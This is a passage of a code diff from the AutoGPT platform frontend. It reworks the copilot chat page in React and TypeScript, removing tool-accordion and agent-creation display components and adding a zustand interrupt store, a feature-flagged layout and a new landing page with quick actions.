-        "min-w-0 rounded-lg bg-gradient-to-r from-purple-500/30 to-blue-500/30 p-[1px]",
-        className,
-      )}
-    >
-      <div className="rounded-lg bg-neutral-100 p-3">{children}</div>
-    </div>
-  );
-}
-
-/** Flex row with a left content area (`children`) and an optional right‑side `action`. */
-export function ContentCardHeader({
-  children,
-  action,
-  className,
-}: {
-  children: React.ReactNode;
-  action?: React.ReactNode;
-  className?: string;
-}) {
-  return (
-    <div className={cn("flex items-start justify-between gap-2", className)}>
-      <div className="min-w-0">{children}</div>
-      {action}
-    </div>
-  );
-}
-
-export function ContentCardTitle({
-  children,
-  className,
-}: {
-  children: React.ReactNode;
-  className?: string;
-}) {
-  return (
-    <Text
-      variant="body-medium"
-      className={cn("truncate text-zinc-800", className)}
-    >
-      {children}
-    </Text>
-  );
-}
-
-export function ContentCardSubtitle({
-  children,
-  className,
-}: {
-  children: React.ReactNode;
-  className?: string;
-}) {
-  return (
-    <Text
-      variant="small"
-      className={cn("mt-0.5 truncate font-mono text-zinc-800", className)}
-    >
-      {children}
-    </Text>
-  );
-}
-
-export function ContentCardDescription({
-  children,
-  className,
-}: {
-  children: React.ReactNode;
-  className?: string;
-}) {
-  return (
-    <Text variant="body" className={cn("mt-2 text-zinc-800", className)}>
-      {children}
-    </Text>
-  );
-}
-
-/* ------------------------------------------------------------------ */
-/*  Text                                                              */
-/* ------------------------------------------------------------------ */
-
-export function ContentMessage({
-  children,
-  className,
-}: {
-  children: React.ReactNode;
-  className?: string;
-}) {
-  return (
-    <Text variant="body" className={cn("text-zinc-800", className)}>
-      {children}
-    </Text>
-  );
-}
-
-export function ContentHint({
-  children,
-  className,
-}: {
-  children: React.ReactNode;
-  className?: string;
-}) {
-  return (
-    <Text variant="small" className={cn("text-neutral-500", className)}>
-      {children}
-    </Text>
-  );
-}
-
-/* ------------------------------------------------------------------ */
-/*  Code / data                                                       */
-/* ------------------------------------------------------------------ */
-
-export function ContentCodeBlock({
-  children,
-  className,
-}: {
-  children: React.ReactNode;
-  className?: string;
-}) {
-  return (
-    <pre
-      className={cn(
-        "whitespace-pre-wrap rounded-lg border bg-black p-3 text-xs text-neutral-200",
-        className,
-      )}
-    >
-      {children}
-    </pre>
-  );
-}
-
-/* ------------------------------------------------------------------ */
-/*  Inline elements                                                   */
-/* ------------------------------------------------------------------ */
-
-export function ContentBadge({
-  children,
-  className,
-}: {
-  children: React.ReactNode;
-  className?: string;
-}) {
-  return (
-    <Text
-      variant="small"
-      as="span"
-      className={cn(
-        "shrink-0 rounded-full border bg-muted px-2 py-0.5 text-[11px] text-zinc-800",
-        className,
-      )}
-    >
-      {children}
-    </Text>
-  );
-}
-
-export function ContentLink({
-  href,
-  children,
-  className,
-  ...rest
-}: Omit<React.ComponentProps<typeof Link>, "className"> & {
-  className?: string;
-}) {
-  return (
-    <Link
-      variant="primary"
-      isExternal
-      href={href}
-      className={cn("shrink-0 text-xs text-purple-500", className)}
-      {...rest}
-    >
-      {children}
-    </Link>
-  );
-}
-
-/* ------------------------------------------------------------------ */
-/*  Lists                                                             */
-/* ------------------------------------------------------------------ */
-
-export function ContentSuggestionsList({
-  items,
-  max = 5,
-  className,
-}: {
-  items: string[];
-  max?: number;
-  className?: string;
-}) {
-  if (items.length === 0) return null;
-  return (
-    <ul
-      className={cn(
-        "mt-2 list-disc space-y-1 pl-5 font-sans text-[0.75rem] leading-[1.125rem] text-zinc-800",
-        className,
-      )}
-    >
-      {items.slice(0, max).map((s) => (
-        <li key={s}>{s}</li>
-      ))}
-    </ul>
-  );
-}

autogpt_platform/frontend/src/app/(platform)/copilot/components/ToolAccordion/ToolAccordion.tsx

@@ -1,102 +0,0 @@
-"use client";
-
-import { cn } from "@/lib/utils";
-import { CaretDownIcon } from "@phosphor-icons/react";
-import { AnimatePresence, motion, useReducedMotion } from "framer-motion";
-import { useId } from "react";
-import { useToolAccordion } from "./useToolAccordion";
-
-interface Props {
-  icon: React.ReactNode;
-  title: React.ReactNode;
-  titleClassName?: string;
-  description?: React.ReactNode;
-  children: React.ReactNode;
-  className?: string;
-  defaultExpanded?: boolean;
-  expanded?: boolean;
-  onExpandedChange?: (expanded: boolean) => void;
-}
-
-export function ToolAccordion({
-  icon,
-  title,
-  titleClassName,
-  description,
-  children,
-  className,
-  defaultExpanded,
-  expanded,
-  onExpandedChange,
-}: Props) {
-  const shouldReduceMotion = useReducedMotion();
-  const contentId = useId();
-  const { isExpanded, toggle } = useToolAccordion({
-    expanded,
-    defaultExpanded,
-    onExpandedChange,
-  });
-
-  return (
-    <div
-      className={cn(
-        "mt-2 w-full rounded-lg border border-slate-200 bg-slate-100 px-3 py-2",
-        className,
-      )}
-    >
-      <button
-        type="button"
-        aria-expanded={isExpanded}
-        aria-controls={contentId}
-        onClick={toggle}
-        className="flex w-full items-center justify-between gap-3 py-1 text-left"
-      >
-        <div className="flex min-w-0 items-center gap-3">
-          <span className="flex shrink-0 items-center text-gray-800">
-            {icon}
-          </span>
-          <div className="min-w-0">
-            <p
-              className={cn(
-                "truncate text-sm font-medium text-gray-800",
-                titleClassName,
-              )}
-            >
-              {title}
-            </p>
-            {description && (
-              <p className="truncate text-xs text-slate-800">{description}</p>
-            )}
-          </div>
-        </div>
-        <CaretDownIcon
-          className={cn(
-            "h-4 w-4 shrink-0 text-slate-500 transition-transform",
-            isExpanded && "rotate-180",
-          )}
-          weight="bold"
-        />
-      </button>
-
-      <AnimatePresence initial={false}>
-        {isExpanded && (
-          <motion.div
-            id={contentId}
-            initial={{ height: 0, opacity: 0, filter: "blur(10px)" }}
-            animate={{ height: "auto", opacity: 1, filter: "blur(0px)" }}
-            exit={{ height: 0, opacity: 0, filter: "blur(10px)" }}
-            transition={
-              shouldReduceMotion
-                ? { duration: 0 }
-                : { type: "spring", bounce: 0.35, duration: 0.55 }
-            }
-            className="overflow-hidden"
-            style={{ willChange: "height, opacity, filter" }}
-          >
-            <div className="pb-2 pt-3">{children}</div>
-          </motion.div>
-        )}
-      </AnimatePresence>
-    </div>
-  );
-}

autogpt_platform/frontend/src/app/(platform)/copilot/components/ToolAccordion/useToolAccordion.ts

@@ -1,32 +0,0 @@
-import { useState } from "react";
-
-interface UseToolAccordionOptions {
-  expanded?: boolean;
-  defaultExpanded?: boolean;
-  onExpandedChange?: (expanded: boolean) => void;
-}
-
-interface UseToolAccordionResult {
-  isExpanded: boolean;
-  toggle: () => void;
-}
-
-export function useToolAccordion({
-  expanded,
-  defaultExpanded = false,
-  onExpandedChange,
-}: UseToolAccordionOptions): UseToolAccordionResult {
-  const [uncontrolledExpanded, setUncontrolledExpanded] =
-    useState(defaultExpanded);
-
-  const isControlled = typeof expanded === "boolean";
-  const isExpanded = isControlled ? expanded : uncontrolledExpanded;
-
-  function toggle() {
-    const next = !isExpanded;
-    if (!isControlled) setUncontrolledExpanded(next);
-    onExpandedChange?.(next);
-  }
-
-  return { isExpanded, toggle };
-}

autogpt_platform/frontend/src/app/(platform)/copilot/copilot-page-store.ts

@@ -0,0 +1,56 @@
+"use client";
+
+import { create } from "zustand";
+
+interface CopilotStoreState {
+  isStreaming: boolean;
+  isSwitchingSession: boolean;
+  isCreatingSession: boolean;
+  isInterruptModalOpen: boolean;
+  pendingAction: (() => void) | null;
+}
+
+interface CopilotStoreActions {
+  setIsStreaming: (isStreaming: boolean) => void;
+  setIsSwitchingSession: (isSwitchingSession: boolean) => void;
+  setIsCreatingSession: (isCreating: boolean) => void;
+  openInterruptModal: (onConfirm: () => void) => void;
+  confirmInterrupt: () => void;
+  cancelInterrupt: () => void;
+}
+
+type CopilotStore = CopilotStoreState & CopilotStoreActions;
+
+export const useCopilotStore = create<CopilotStore>((set, get) => ({
+  isStreaming: false,
+  isSwitchingSession: false,
+  isCreatingSession: false,
+  isInterruptModalOpen: false,
+  pendingAction: null,
+
+  setIsStreaming(isStreaming) {
+    set({ isStreaming });
+  },
+
+  setIsSwitchingSession(isSwitchingSession) {
+    set({ isSwitchingSession });
+  },
+
+  setIsCreatingSession(isCreatingSession) {
+    set({ isCreatingSession });
+  },
+
+  openInterruptModal(onConfirm) {
+    set({ isInterruptModalOpen: true, pendingAction: onConfirm });
+  },
+
+  confirmInterrupt() {
+    const { pendingAction } = get();
+    set({ isInterruptModalOpen: false, pendingAction: null });
+    if (pendingAction) pendingAction();
+  },
+
+  cancelInterrupt() {
+    set({ isInterruptModalOpen: false, pendingAction: null });
+  },
+}));

autogpt_platform/frontend/src/app/(platform)/copilot/helpers.ts

@@ -1,26 +1,6 @@
-import { User } from "@supabase/supabase-js";
+import type { User } from "@supabase/supabase-js";
 
-export function getInputPlaceholder(width?: number) {
-  if (!width) return "What's your role and what eats up most of your day?";
-
-  if (width < 500) {
-    return "I'm a chef and I hate...";
-  }
-  if (width <= 1080) {
-    return "What's your role and what eats up most of your day?";
-  }
-  return "What's your role and what eats up most of your day? e.g. 'I'm a recruiter and I hate...'";
-}
-
-export function getQuickActions() {
-  return [
-    "I don't know where to start, just ask me stuff",
-    "I do the same thing every week and it's killing me",
-    "Help me find where I'm wasting my time",
-  ];
-}
-
-export function getGreetingName(user?: User | null) {
+export function getGreetingName(user?: User | null): string {
   if (!user) return "there";
   const metadata = user.user_metadata as Record<string, unknown> | undefined;
   const fullName = metadata?.full_name;
@@ -36,3 +16,30 @@ export function getGreetingName(user?: User | null) {
   }
   return "there";
 }
+
+export function buildCopilotChatUrl(prompt: string): string {
+  const trimmed = prompt.trim();
+  if (!trimmed) return "/copilot/chat";
+  const encoded = encodeURIComponent(trimmed);
+  return `/copilot/chat?prompt=${encoded}`;
+}
+
+export function getQuickActions(): string[] {
+  return [
+    "I don't know where to start, just ask me stuff",
+    "I do the same thing every week and it's killing me",
+    "Help me find where I'm wasting my time",
+  ];
+}
+
+export function getInputPlaceholder(width?: number) {
+  if (!width) return "What's your role and what eats up most of your day?";
+
+  if (width < 500) {
+    return "I'm a chef and I hate...";
+  }
+  if (width <= 1080) {
+    return "What's your role and what eats up most of your day?";
+  }
+  return "What's your role and what eats up most of your day? e.g. 'I'm a recruiter and I hate...'";
+}

autogpt_platform/frontend/src/app/(platform)/copilot/helpers/convertChatSessionToUiMessages.ts

@@ -1,128 +0,0 @@
-import type { UIMessage, UIDataTypes, UITools } from "ai";
-
-interface SessionChatMessage {
-  role: string;
-  content: string | null;
-  tool_call_id: string | null;
-  tool_calls: unknown[] | null;
-}
-
-function coerceSessionChatMessages(
-  rawMessages: unknown[],
-): SessionChatMessage[] {
-  return rawMessages
-    .map((m) => {
-      if (!m || typeof m !== "object") return null;
-      const msg = m as Record<string, unknown>;
-
-      const role = typeof msg.role === "string" ? msg.role : null;
-      if (!role) return null;
-
-      return {
-        role,
-        content:
-          typeof msg.content === "string"
-            ? msg.content
-            : msg.content == null
-              ? null
-              : String(msg.content),
-        tool_call_id:
-          typeof msg.tool_call_id === "string"
-            ? msg.tool_call_id
-            : msg.tool_call_id == null
-              ? null
-              : String(msg.tool_call_id),
-        tool_calls: Array.isArray(msg.tool_calls) ? msg.tool_calls : null,
-      };
-    })
-    .filter((m): m is SessionChatMessage => m !== null);
-}
-
-function safeJsonParse(value: string): unknown {
-  try {
-    return JSON.parse(value) as unknown;
-  } catch {
-    return value;
-  }
-}
-
-function toToolInput(rawArguments: unknown): unknown {
-  if (typeof rawArguments === "string") {
-    const trimmed = rawArguments.trim();
-    return trimmed ? safeJsonParse(trimmed) : {};
-  }
-  if (rawArguments && typeof rawArguments === "object") return rawArguments;
-  return {};
-}
-
-export function convertChatSessionMessagesToUiMessages(
-  sessionId: string,
-  rawMessages: unknown[],
-): UIMessage<unknown, UIDataTypes, UITools>[] {
-  const messages = coerceSessionChatMessages(rawMessages);
-  const toolOutputsByCallId = new Map<string, unknown>();
-
-  for (const msg of messages) {
-    if (msg.role !== "tool") continue;
-    if (!msg.tool_call_id) continue;
-    if (msg.content == null) continue;
-    toolOutputsByCallId.set(msg.tool_call_id, msg.content);
-  }
-
-  const uiMessages: UIMessage<unknown, UIDataTypes, UITools>[] = [];
-
-  messages.forEach((msg, index) => {
-    if (msg.role === "tool") return;
-    if (msg.role !== "user" && msg.role !== "assistant") return;
-
-    const parts: UIMessage<unknown, UIDataTypes, UITools>["parts"] = [];
-
-    if (typeof msg.content === "string" && msg.content.trim()) {
-      parts.push({ type: "text", text: msg.content, state: "done" });
-    }
-
-    if (msg.role === "assistant" && Array.isArray(msg.tool_calls)) {
-      for (const rawToolCall of msg.tool_calls) {
-        if (!rawToolCall || typeof rawToolCall !== "object") continue;
-        const toolCall = rawToolCall as {
-          id?: unknown;
-          function?: { name?: unknown; arguments?: unknown };
-        };
-
-        const toolCallId = String(toolCall.id ?? "").trim();
-        const toolName = String(toolCall.function?.name ?? "").trim();
-        if (!toolCallId || !toolName) continue;
-
-        const input = toToolInput(toolCall.function?.arguments);
-        const output = toolOutputsByCallId.get(toolCallId);
-
-        if (output !== undefined) {
-          parts.push({
-            type: `tool-${toolName}`,
-            toolCallId,
-            state: "output-available",
-            input,
-            output: typeof output === "string" ? safeJsonParse(output) : output,
-          });
-        } else {
-          parts.push({
-            type: `tool-${toolName}`,
-            toolCallId,
-            state: "input-available",
-            input,
-          });
-        }
-      }
-    }
-
-    if (parts.length === 0) return;
-
-    uiMessages.push({
-      id: `${sessionId}-${index}`,
-      role: msg.role,
-      parts,
-    });
-  });
-
-  return uiMessages;
-}

autogpt_platform/frontend/src/app/(platform)/copilot/layout.tsx

@@ -0,0 +1,13 @@
+"use client";
+import { FeatureFlagPage } from "@/services/feature-flags/FeatureFlagPage";
+import { Flag } from "@/services/feature-flags/use-get-flag";
+import { type ReactNode } from "react";
+import { CopilotShell } from "./components/CopilotShell/CopilotShell";
+
+export default function CopilotLayout({ children }: { children: ReactNode }) {
+  return (
+    <FeatureFlagPage flag={Flag.CHAT} whenDisabled="/library">
+      <CopilotShell>{children}</CopilotShell>
+    </FeatureFlagPage>
+  );
+}

autogpt_platform/frontend/src/app/(platform)/copilot/page.tsx

@@ -1,13 +1,149 @@
 "use client";
 
-import { FeatureFlagPage } from "@/services/feature-flags/FeatureFlagPage";
-import { Flag } from "@/services/feature-flags/use-get-flag";
-import { CopilotPage } from "./CopilotPage";
+import { Button } from "@/components/atoms/Button/Button";
+import { Skeleton } from "@/components/atoms/Skeleton/Skeleton";
+import { Text } from "@/components/atoms/Text/Text";
+import { Chat } from "@/components/contextual/Chat/Chat";
+import { ChatInput } from "@/components/contextual/Chat/components/ChatInput/ChatInput";
+import { Dialog } from "@/components/molecules/Dialog/Dialog";
+import { useEffect, useState } from "react";
+import { useCopilotStore } from "./copilot-page-store";
+import { getInputPlaceholder } from "./helpers";
+import { useCopilotPage } from "./useCopilotPage";
+
+export default function CopilotPage() {
+  const { state, handlers } = useCopilotPage();
+  const isInterruptModalOpen = useCopilotStore((s) => s.isInterruptModalOpen);
+  const confirmInterrupt = useCopilotStore((s) => s.confirmInterrupt);
+  const cancelInterrupt = useCopilotStore((s) => s.cancelInterrupt);
+
+  const [inputPlaceholder, setInputPlaceholder] = useState(
+    getInputPlaceholder(),
+  );
+
+  useEffect(() => {
+    const handleResize = () => {
+      setInputPlaceholder(getInputPlaceholder(window.innerWidth));
+    };
+
+    handleResize();
+
+    window.addEventListener("resize", handleResize);
+    return () => window.removeEventListener("resize", handleResize);
+  }, []);
+
+  const { greetingName, quickActions, isLoading, hasSession, initialPrompt } =
+    state;
+
+  const {
+    handleQuickAction,
+    startChatWithPrompt,
+    handleSessionNotFound,
+    handleStreamingChange,
+  } = handlers;
+
+  if (hasSession) {
+    return (
+      <div className="flex h-full flex-col">
+        <Chat
+          className="flex-1"
+          initialPrompt={initialPrompt}
+          onSessionNotFound={handleSessionNotFound}
+          onStreamingChange={handleStreamingChange}
+        />
+        <Dialog
+          title="Interrupt current chat?"
+          styling={{ maxWidth: 300, width: "100%" }}
+          controlled={{
+            isOpen: isInterruptModalOpen,
+            set: (open) => {
+              if (!open) cancelInterrupt();
+            },
+          }}
+          onClose={cancelInterrupt}
+        >
+          <Dialog.Content>
+            <div className="flex flex-col gap-4">
+              <Text variant="body">
+                The current chat response will be interrupted. Are you sure you
+                want to continue?
+              </Text>
+              <Dialog.Footer>
+                <Button
+                  type="button"
+                  variant="outline"
+                  onClick={cancelInterrupt}
+                >
+                  Cancel
+                </Button>
+                <Button
+                  type="button"
+                  variant="primary"
+                  onClick={confirmInterrupt}
+                >
+                  Continue
+                </Button>
+              </Dialog.Footer>
+            </div>
+          </Dialog.Content>
+        </Dialog>
+      </div>
+    );
+  }
 
-export default function Page() {
   return (
-    <FeatureFlagPage flag={Flag.CHAT} whenDisabled="/library">
-      <CopilotPage />
-    </FeatureFlagPage>
+    <div className="flex h-full flex-1 items-center justify-center overflow-y-auto bg-[#f8f8f9] px-3 py-5 md:px-6 md:py-10">
+      <div className="w-full text-center">
+        {isLoading ? (
+          <div className="mx-auto max-w-2xl">
+            <Skeleton className="mx-auto mb-3 h-8 w-64" />
+            <Skeleton className="mx-auto mb-8 h-6 w-80" />
+            <div className="mb-8">
+              <Skeleton className="mx-auto h-14 w-full rounded-lg" />
+            </div>
+            <div className="flex flex-wrap items-center justify-center gap-3">
+              {Array.from({ length: 4 }).map((_, i) => (
+                <Skeleton key={i} className="h-9 w-48 rounded-md" />
+              ))}
+            </div>
+          </div>
+        ) : (
+          <>
+            <div className="mx-auto max-w-3xl">
+              <Text
+                variant="h3"
+                className="mb-1 !text-[1.375rem] text-zinc-700"
+              >
+                Hey, <span className="text-violet-600">{greetingName}</span>
+              </Text>
+              <Text variant="h3" className="mb-8 !font-normal">
+                Tell me about your work — I&apos;ll find what to automate.
+              </Text>
+
+              <div className="mb-6">
+                <ChatInput
+                  onSend={startChatWithPrompt}
+                  placeholder={inputPlaceholder}
+                />
+              </div>
+            </div>
+            <div className="flex flex-wrap items-center justify-center gap-3 overflow-x-auto [-ms-overflow-style:none] [scrollbar-width:none] [&::-webkit-scrollbar]:hidden">
+              {quickActions.map((action) => (
+                <Button
+                  key={action}
+                  type="button"
+                  variant="outline"
+                  size="small"
+                  onClick={() => handleQuickAction(action)}
+                  className="h-auto shrink-0 border-zinc-300 px-3 py-2 text-[.9rem] text-zinc-600"
+                >
+                  {action}
+                </Button>
+              ))}
+            </div>
+          </>
+        )}
+      </div>
+    </div>
   );
 }

autogpt_platform/frontend/src/app/(platform)/copilot/tools/CreateAgent/CreateAgent.tsx

@@ -1,234 +0,0 @@
-"use client";
-
-import { WarningDiamondIcon } from "@phosphor-icons/react";
-import type { ToolUIPart } from "ai";
-import { useCopilotChatActions } from "../../components/CopilotChatActionsProvider/useCopilotChatActions";
-import { MorphingTextAnimation } from "../../components/MorphingTextAnimation/MorphingTextAnimation";
-import { ProgressBar } from "../../components/ProgressBar/ProgressBar";
-import {
-  ContentCardDescription,
-  ContentCodeBlock,
-  ContentGrid,
-  ContentHint,
-  ContentLink,
-  ContentMessage,
-} from "../../components/ToolAccordion/AccordionContent";
-import { ToolAccordion } from "../../components/ToolAccordion/ToolAccordion";
-import { useAsymptoticProgress } from "../../hooks/useAsymptoticProgress";
-import {
-  ClarificationQuestionsCard,
-  ClarifyingQuestion,
-} from "./components/ClarificationQuestionsCard";
-import {
-  AccordionIcon,
-  formatMaybeJson,
-  getAnimationText,
-  getCreateAgentToolOutput,
-  isAgentPreviewOutput,
-  isAgentSavedOutput,
-  isClarificationNeededOutput,
-  isErrorOutput,
-  isOperationInProgressOutput,
-  isOperationPendingOutput,
-  isOperationStartedOutput,
-  ToolIcon,
-  truncateText,
-  type CreateAgentToolOutput,
-} from "./helpers";
-
-export interface CreateAgentToolPart {
-  type: string;
-  toolCallId: string;
-  state: ToolUIPart["state"];
-  input?: unknown;
-  output?: unknown;
-}
-
-interface Props {
-  part: CreateAgentToolPart;
-}
-
-function getAccordionMeta(output: CreateAgentToolOutput) {
-  const icon = <AccordionIcon />;
-
-  if (isAgentSavedOutput(output)) {
-    return { icon, title: output.agent_name };
-  }
-  if (isAgentPreviewOutput(output)) {
-    return {
-      icon,
-      title: output.agent_name,
-      description: `${output.node_count} block${output.node_count === 1 ? "" : "s"}`,
-    };
-  }
-  if (isClarificationNeededOutput(output)) {
-    const questions = output.questions ?? [];
-    return {
-      icon,
-      title: "Needs clarification",
-      description: `${questions.length} question${questions.length === 1 ? "" : "s"}`,
-      expanded: true,
-    };
-  }
-  if (
-    isOperationStartedOutput(output) ||
-    isOperationPendingOutput(output) ||
-    isOperationInProgressOutput(output)
-  ) {
-    return {
-      icon,
-      title: "Creating agent, this may take a few minutes. Sit back and relax.",
-    };
-  }
-  return {
-    icon: (
-      <WarningDiamondIcon size={32} weight="light" className="text-red-500" />
-    ),
-    title: "Error",
-    titleClassName: "text-red-500",
-  };
-}
-
-export function CreateAgentTool({ part }: Props) {
-  const text = getAnimationText(part);
-  const { onSend } = useCopilotChatActions();
-
-  const isStreaming =
-    part.state === "input-streaming" || part.state === "input-available";
-
-  const output = getCreateAgentToolOutput(part);
-
-  const isError =
-    part.state === "output-error" || (!!output && isErrorOutput(output));
-
-  const isOperating =
-    !!output &&
-    (isOperationStartedOutput(output) ||
-      isOperationPendingOutput(output) ||
-      isOperationInProgressOutput(output));
-
-  const progress = useAsymptoticProgress(isOperating);
-
-  const hasExpandableContent =
-    part.state === "output-available" &&
-    !!output &&
-    (isOperationStartedOutput(output) ||
-      isOperationPendingOutput(output) ||
-      isOperationInProgressOutput(output) ||
-      isAgentPreviewOutput(output) ||
-      isAgentSavedOutput(output) ||
-      isClarificationNeededOutput(output) ||
-      isErrorOutput(output));
-
-  function handleClarificationAnswers(answers: Record<string, string>) {
-    const questions =
-      output && isClarificationNeededOutput(output)
-        ? (output.questions ?? [])
-        : [];
-
-    const contextMessage = questions
-      .map((q) => {
-        const answer = answers[q.keyword] || "";
-        return `> ${q.question}\n\n${answer}`;
-      })
-      .join("\n\n");
-
-    onSend(
-      `**Here are my answers:**\n\n${contextMessage}\n\nPlease proceed with creating the agent.`,
-    );
-  }
-
-  return (
-    <div className="py-2">
-      <div className="flex items-center gap-2 text-sm text-muted-foreground">
-        <ToolIcon isStreaming={isStreaming} isError={isError} />
-        <MorphingTextAnimation
-          text={text}
-          className={isError ? "text-red-500" : undefined}
-        />
-      </div>
-
-      {hasExpandableContent && output && (
-        <ToolAccordion {...getAccordionMeta(output)}>
-          {isOperating && (
-            <ContentGrid>
-              <ProgressBar value={progress} className="max-w-[280px]" />
-              <ContentHint>
-                This could take a few minutes, grab a coffee ☕
-              </ContentHint>
-            </ContentGrid>
-          )}
-
-          {isAgentSavedOutput(output) && (
-            <ContentGrid>
-              <ContentMessage>{output.message}</ContentMessage>
-              <div className="flex flex-wrap gap-2">
-                <ContentLink href={output.library_agent_link}>
-                  Open in library
-                </ContentLink>
-                <ContentLink href={output.agent_page_link}>
-                  Open in builder
-                </ContentLink>
-              </div>
-              <ContentCodeBlock>
-                {truncateText(
-                  formatMaybeJson({ agent_id: output.agent_id }),
-                  800,
-                )}
-              </ContentCodeBlock>
-            </ContentGrid>
-          )}
-
-          {isAgentPreviewOutput(output) && (
-            <ContentGrid>
-              <ContentMessage>{output.message}</ContentMessage>
-              {output.description?.trim() && (
-                <ContentCardDescription>
-                  {output.description}
-                </ContentCardDescription>
-              )}
-              <ContentCodeBlock>
-                {truncateText(formatMaybeJson(output.agent_json), 1600)}
-              </ContentCodeBlock>
-            </ContentGrid>
-          )}
-
-          {isClarificationNeededOutput(output) && (
-            <ClarificationQuestionsCard
-              questions={(output.questions ?? []).map((q) => {
-                const item: ClarifyingQuestion = {
-                  question: q.question,
-                  keyword: q.keyword,
-                };
-                const example =
-                  typeof q.example === "string" && q.example.trim()
-                    ? q.example.trim()
-                    : null;
-                if (example) item.example = example;
-                return item;
-              })}
-              message={output.message}
-              onSubmitAnswers={handleClarificationAnswers}
-            />
-          )}
-
-          {isErrorOutput(output) && (
-            <ContentGrid>
-              <ContentMessage>{output.message}</ContentMessage>
-              {output.error && (
-                <ContentCodeBlock>
-                  {formatMaybeJson(output.error)}
-                </ContentCodeBlock>
-              )}
-              {output.details && (
-                <ContentCodeBlock>
-                  {formatMaybeJson(output.details)}
-                </ContentCodeBlock>
-              )}
-            </ContentGrid>
-          )}
-        </ToolAccordion>
-      )}
-    </div>
-  );
-}

autogpt_platform/frontend/src/app/(platform)/copilot/tools/CreateAgent/helpers.tsx

@@ -1,186 +0,0 @@
-import type { AgentPreviewResponse } from "@/app/api/__generated__/models/agentPreviewResponse";
-import type { AgentSavedResponse } from "@/app/api/__generated__/models/agentSavedResponse";
-import type { ClarificationNeededResponse } from "@/app/api/__generated__/models/clarificationNeededResponse";
-import type { ErrorResponse } from "@/app/api/__generated__/models/errorResponse";
-import type { OperationInProgressResponse } from "@/app/api/__generated__/models/operationInProgressResponse";
-import type { OperationPendingResponse } from "@/app/api/__generated__/models/operationPendingResponse";
-import type { OperationStartedResponse } from "@/app/api/__generated__/models/operationStartedResponse";
-import { ResponseType } from "@/app/api/__generated__/models/responseType";
-import {
-  PlusCircleIcon,
-  PlusIcon,
-  WarningDiamondIcon,
-} from "@phosphor-icons/react";
-import type { ToolUIPart } from "ai";
-import { OrbitLoader } from "../../components/OrbitLoader/OrbitLoader";
-
-export type CreateAgentToolOutput =
-  | OperationStartedResponse
-  | OperationPendingResponse
-  | OperationInProgressResponse
-  | AgentPreviewResponse
-  | AgentSavedResponse
-  | ClarificationNeededResponse
-  | ErrorResponse;
-
-function parseOutput(output: unknown): CreateAgentToolOutput | null {
-  if (!output) return null;
-  if (typeof output === "string") {
-    const trimmed = output.trim();
-    if (!trimmed) return null;
-    try {
-      return parseOutput(JSON.parse(trimmed) as unknown);
-    } catch {
-      return null;
-    }
-  }
-  if (typeof output === "object") {
-    const type = (output as { type?: unknown }).type;
-    if (
-      type === ResponseType.operation_started ||
-      type === ResponseType.operation_pending ||
-      type === ResponseType.operation_in_progress ||
-      type === ResponseType.agent_preview ||
-      type === ResponseType.agent_saved ||
-      type === ResponseType.clarification_needed ||
-      type === ResponseType.error
-    ) {
-      return output as CreateAgentToolOutput;
-    }
-    if ("operation_id" in output && "tool_name" in output)
-      return output as OperationStartedResponse | OperationPendingResponse;
-    if ("tool_call_id" in output) return output as OperationInProgressResponse;
-    if ("agent_json" in output && "agent_name" in output)
-      return output as AgentPreviewResponse;
-    if ("agent_id" in output && "library_agent_id" in output)
-      return output as AgentSavedResponse;
-    if ("questions" in output) return output as ClarificationNeededResponse;
-    if ("error" in output || "details" in output)
-      return output as ErrorResponse;
-  }
-  return null;
-}
-
-export function getCreateAgentToolOutput(
-  part: unknown,
-): CreateAgentToolOutput | null {
-  if (!part || typeof part !== "object") return null;
-  return parseOutput((part as { output?: unknown }).output);
-}
-
-export function isOperationStartedOutput(
-  output: CreateAgentToolOutput,
-): output is OperationStartedResponse {
-  return (
-    output.type === ResponseType.operation_started ||
-    ("operation_id" in output && "tool_name" in output)
-  );
-}
-
-export function isOperationPendingOutput(
-  output: CreateAgentToolOutput,
-): output is OperationPendingResponse {
-  return output.type === ResponseType.operation_pending;
-}
-
-export function isOperationInProgressOutput(
-  output: CreateAgentToolOutput,
-): output is OperationInProgressResponse {
-  return (
-    output.type === ResponseType.operation_in_progress ||
-    "tool_call_id" in output
-  );
-}
-
-export function isAgentPreviewOutput(
-  output: CreateAgentToolOutput,
-): output is AgentPreviewResponse {
-  return output.type === ResponseType.agent_preview || "agent_json" in output;
-}
-
-export function isAgentSavedOutput(
-  output: CreateAgentToolOutput,
-): output is AgentSavedResponse {
-  return (
-    output.type === ResponseType.agent_saved || "agent_page_link" in output
-  );
-}
-
-export function isClarificationNeededOutput(
-  output: CreateAgentToolOutput,
-): output is ClarificationNeededResponse {
-  return (
-    output.type === ResponseType.clarification_needed || "questions" in output
-  );
-}
-
-export function isErrorOutput(
-  output: CreateAgentToolOutput,
-): output is ErrorResponse {
-  return output.type === ResponseType.error || "error" in output;
-}
-
-export function getAnimationText(part: {
-  state: ToolUIPart["state"];
-  input?: unknown;
-  output?: unknown;
-}): string {
-  switch (part.state) {
-    case "input-streaming":
-    case "input-available":
-      return "Creating a new agent";
-    case "output-available": {
-      const output = parseOutput(part.output);
-      if (!output) return "Creating a new agent";
-      if (isOperationStartedOutput(output)) return "Agent creation started";
-      if (isOperationPendingOutput(output)) return "Agent creation in progress";
-      if (isOperationInProgressOutput(output))
-        return "Agent creation already in progress";
-      if (isAgentSavedOutput(output)) return `Saved "${output.agent_name}"`;
-      if (isAgentPreviewOutput(output)) return `Preview "${output.agent_name}"`;
-      if (isClarificationNeededOutput(output)) return "Needs clarification";
-      return "Error creating agent";
-    }
-    case "output-error":
-      return "Error creating agent";
-    default:
-      return "Creating a new agent";
-  }
-}
-
-export function ToolIcon({
-  isStreaming,
-  isError,
-}: {
-  isStreaming?: boolean;
-  isError?: boolean;
-}) {
-  if (isError) {
-    return (
-      <WarningDiamondIcon size={14} weight="regular" className="text-red-500" />
-    );
-  }
-  if (isStreaming) {
-    return <OrbitLoader size={24} />;
-  }
-  return <PlusIcon size={14} weight="regular" className="text-neutral-400" />;
-}
-
-export function AccordionIcon() {
-  return <PlusCircleIcon size={32} weight="light" />;
-}
-
-export function formatMaybeJson(value: unknown): string {
-  if (typeof value === "string") return value;
-  try {
-    return JSON.stringify(value, null, 2);
-  } catch {
-    return String(value);
-  }
-}
-
-export function truncateText(text: string, maxChars: number): string {
-  const trimmed = text.trim();
-  if (trimmed.length <= maxChars) return trimmed;
-  return `${trimmed.slice(0, maxChars).trimEnd()}…`;
-}